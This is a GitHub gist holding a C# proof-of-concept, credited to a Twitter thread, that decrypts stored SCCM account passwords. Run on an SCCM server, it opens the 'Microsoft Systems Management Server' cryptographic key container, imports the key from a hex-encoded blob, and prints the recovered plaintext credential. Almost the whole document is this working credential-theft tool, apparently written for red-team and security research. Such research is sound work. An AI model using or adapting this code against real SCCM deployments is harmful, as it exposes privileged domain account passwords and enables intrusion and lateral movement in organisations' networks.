Last active
October 31, 2024 15:19
-
-
Save xpn/5f497d2725a041922c427c3aaa3b37d1 to your computer and use it in GitHub Desktop.
SCCM Account Password Decryption POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Twitter thread: https://twitter.com/_xpn_/status/1543682652066258946 (was a bit bored ;) | |
// Needs to be run on the SCCM server containing the "Microsoft Systems Management Server" CSP for it to work. | |
using System; | |
using System.Collections.Generic; | |
using System.Runtime.InteropServices; | |
namespace SCCMDecryptPOC | |
{ | |
internal class Program | |
{ | |
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
static extern bool CryptAcquireContext(ref IntPtr hProv, string pszContainer, string pszProvider, uint dwProvType, uint dwFlags); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
public static extern bool CryptDecrypt(IntPtr hKey, IntPtr hHash, int Final, uint dwFlags, byte[] pbData, ref uint pdwDataLen); | |
[DllImport(@"advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
[return: MarshalAs(UnmanagedType.Bool)] | |
public static extern bool CryptImportKey(IntPtr hProv, byte[] pbKeyData, UInt32 dwDataLen, IntPtr hPubKey, UInt32 dwFlags, ref IntPtr hKey); | |
static byte[] decodeInput(string inputString) | |
{ | |
List<byte> inputDataList = new List<byte>(); | |
if (inputDataList.Count % 2 != 0) | |
{ | |
return null; | |
} | |
for (int i = 0; i < inputString.Length; i += 2) | |
{ | |
byte t = Convert.ToByte(inputString.Substring(i, 2), 16); | |
inputDataList.Add(t); | |
} | |
return inputDataList.ToArray(); | |
} | |
static void Main(string[] args) | |
{ | |
if (args.Length != 1) | |
{ | |
Console.WriteLine("Usage: SCCMDecryptPOC.exe \"HEX_STRING_TO_DECRYPT\""); | |
return; | |
} | |
IntPtr kHandle = IntPtr.Zero; | |
IntPtr context = IntPtr.Zero; | |
byte[] keyLengthBuffer = new byte[4]; | |
byte[] decryptedLengthBuffer = new byte[4]; | |
byte[] key; | |
byte[] crypted; | |
byte[] inputData; | |
uint cryptLength; | |
string inputString = args[0]; | |
inputData = decodeInput(inputString); | |
if (inputData == null) | |
{ | |
Console.WriteLine("Error: Input string not in correct format"); | |
return; | |
} | |
Array.Copy(inputData, 0, keyLengthBuffer, 0, 4); | |
int keyLength = BitConverter.ToInt32(keyLengthBuffer, 0); | |
Array.Copy(inputData, 4, decryptedLengthBuffer, 0, 4); | |
int decryptedLength = BitConverter.ToInt32(decryptedLengthBuffer, 0); | |
Console.WriteLine("[*] Key Length: {0}", keyLength); | |
Console.WriteLine("[*] Expecting Decrypted Length Of: {0}", decryptedLength); | |
cryptLength = (uint)(inputData.Length - 8 - (keyLength)); | |
key = new byte[keyLength]; | |
Array.Copy(inputData, 8, key, 0, keyLength); | |
if (!CryptAcquireContext(ref context, "Microsoft Systems Management Server", "Microsoft Enhanced RSA and AES Cryptographic Provider", (uint)0x18, 96U) && !CryptAcquireContext(ref context, "Microsoft Systems Management Server", null, (uint)0x18, 104U)) | |
{ | |
uint lastWin32Error = (uint)Marshal.GetLastWin32Error(); | |
System.Console.WriteLine(string.Format("CryptAcquireContext failed with HRESULT {0}", lastWin32Error)); | |
return; | |
} | |
if (!CryptImportKey(context, key, (uint)keyLength, IntPtr.Zero, 0, ref kHandle)) | |
{ | |
uint lastWin32Error2 = (uint)Marshal.GetLastWin32Error(); | |
System.Console.WriteLine(string.Format("CryptImportKey failed with HRESULT {0}", lastWin32Error2)); | |
return; | |
} | |
crypted = new byte[cryptLength]; | |
Array.Copy(inputData, 8 + keyLength, crypted, 0, inputData.Length - 8 - (keyLength)); | |
if (!CryptDecrypt(kHandle, IntPtr.Zero, 1, 0, crypted, ref cryptLength)) | |
{ | |
uint lastWin32Error3 = (uint)Marshal.GetLastWin32Error(); | |
System.Console.WriteLine(string.Format("CryptDecrypt failed with HRESULT {0}", lastWin32Error3)); | |
} | |
Console.WriteLine("[*] Decrypted Input as: {0}", System.Text.Encoding.ASCII.GetString(crypted,0,(int)cryptLength)); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment